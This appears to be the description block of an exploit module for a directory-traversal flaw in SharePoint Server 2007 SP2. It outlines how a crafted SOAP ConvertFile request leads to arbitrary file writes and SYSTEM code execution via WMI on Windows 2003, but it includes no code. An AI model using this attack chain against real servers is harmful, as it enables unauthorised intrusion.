     This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
    software contains a directory traversal, that allows a remote attacker to write
    arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
    request to the Office Document Conversions Launcher Service, which results in code
    execution under the context of 'SYSTEM'.

    The module uses uses the Windows Management Instrumentation service to execute an
    arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
    It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
    2003 SP2.
